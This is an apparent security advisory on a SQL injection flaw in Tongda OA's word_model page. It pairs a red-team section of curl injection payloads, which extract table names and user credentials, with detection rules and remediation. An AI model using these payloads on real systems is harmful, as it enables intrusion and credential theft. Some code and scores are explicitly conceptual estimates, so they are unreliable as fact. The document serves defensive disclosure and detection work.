CVE-2024-10732

Executive Summary

CVE-2024-10732 is a critical SQL injection vulnerability discovered in Tongda OA 2017 up to version 11.10. The flaw resides in the /module/word_model/view/index.php file, where the query_str argument is improperly sanitized, allowing an attacker to inject arbitrary SQL commands. This vulnerability is remotely exploitable and has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released by the vendor, making affected systems highly vulnerable.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a proprietary web application (Tongda OA) commonly used in enterprise environments. The lack of a patch and public exploit details pose a significant supply chain risk for organizations relying on this software.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the description (critical, remote, SQL injection), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the query_str parameter of /module/word_model/view/index.php. The application likely constructs a SQL query by concatenating user input directly into the query string without proper sanitization or parameterized queries. An attacker can manipulate the query_str parameter to break out of the intended SQL syntax and execute arbitrary SQL commands.

Example vulnerable code (conceptual):

$query_str = $_GET['query_str'];
$sql = "SELECT * FROM word_models WHERE name LIKE '%" . $query_str . "%'";
$result = mysqli_query($conn, $sql);

Attack vector:

GET /module/word_model/view/index.php?query_str=' OR '1'='1' -- -

This would result in the SQL:

SELECT * FROM word_models WHERE name LIKE '%' OR '1'='1' -- -%'

This returns all rows from the table, potentially exposing sensitive data.

Vulnerable vs. Patched Code

Vulnerable code (Tongda OA 2017 up to 11.10):

// /module/word_model/view/index.php
$query_str = $_GET['query_str'];
$sql = "SELECT * FROM word_models WHERE name LIKE '%" . $query_str . "%'";
$result = mysqli_query($conn, $sql);

Patched code (hypothetical):

// /module/word_model/view/index.php
$query_str = $_GET['query_str'];
$stmt = $conn->prepare("SELECT * FROM word_models WHERE name LIKE ?");
$searchTerm = '%' . $query_str . '%';
$stmt->bind_param("s", $searchTerm);
$stmt->execute();
$result = $stmt->get_result();

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of Tongda OA 2017 (version 11.10 or earlier) in a controlled environment.
2. Ensure the /module/word_model/view/index.php endpoint is accessible.

Exploitation Steps:

1. Basic SQL Injection:

   curl "http://target.com/module/word_model/view/index.php?query_str=' OR '1'='1' -- -"
   

   This should return all records from the word_models table.

2. Extract Database Version:

   curl "http://target.com/module/word_model/view/index.php?query_str=' UNION SELECT @@version,2,3 -- -"
   

3. Extract Table Names:

   curl "http://target.com/module/word_model/view/index.php?query_str=' UNION SELECT table_name,2,3 FROM information_schema.tables -- -"
   

4. Extract User Credentials (if applicable):

   curl "http://target.com/module/word_model/view/index.php?query_str=' UNION SELECT username,password,3 FROM users -- -"
   

Note: The exact column count and table names may vary. Use ORDER BY to determine the number of columns.

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious query_str parameters containing SQL keywords (UNION, SELECT, OR, --, #, etc.).
2. Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
3. Use database activity monitoring to detect anomalous queries.

Hunting Queries:

• Search for requests to /module/word_model/view/index.php with query_str containing ', --, UNION, or SELECT.
• Look for error messages in logs indicating SQL syntax errors.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /module/word_model/view/index.php with query_str containing SQL injection patterns.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).

• File IOCs:

  • Modified or new files in the web root (e.g., webshells).
  • Unusual entries in database logs.

• Log IOCs:

  • Web server logs showing 400 or 500 errors from the vulnerable endpoint.
  • Database logs showing UNION, SELECT, or DROP statements.

Detection Engineering

YARA Rule

rule CVE_2024_10732_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-10732 in Tongda OA"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10732"
    strings:
        $sqli1 = "query_str=" nocase
        $sqli2 = "' OR " nocase
        $sqli3 = "UNION SELECT" nocase
        $sqli4 = "--" nocase
        $sqli5 = "/*" nocase
    condition:
        all of ($sqli1, $sqli2) or all of ($sqli1, $sqli3) or all of ($sqli1, $sqli4) or all of ($sqli1, $sqli5)
}

Sigma Rule

title: CVE-2024-10732 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against Tongda OA /module/word_model/view/index.php
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "query_str='"
            - "query_str=%27"
            - "query_str=--"
            - "query_str=UNION"
            - "query_str=SELECT"
    condition: selection
falsepositives:
    - Legitimate use of special characters in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10732 SQL Injection Attempt"; flow:to_server,established; content:"/module/word_model/view/index.php"; http_uri; content:"query_str="; http_uri; pcre:"/query_str=.*('|--|UNION|SELECT)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Tongda OA 2017 from the network until a patch is applied.
2. Implement WAF rules: Block requests containing SQL injection patterns in the query_str parameter.
3. Input validation: Add server-side input validation to reject malicious characters.

Long-term Fix:

• Upgrade to a patched version: Contact Tongda for an official patch or upgrade to a newer version that uses parameterized queries.
• Code review: Conduct a thorough code review of all PHP files for similar injection vulnerabilities.
• Use prepared statements: Replace all dynamic SQL queries with prepared statements or stored procedures.

Workaround:

• Disable the /module/word_model/view/index.php endpoint if not essential.
• Restrict access to the vulnerable endpoint via .htaccess or firewall rules.

Valters IT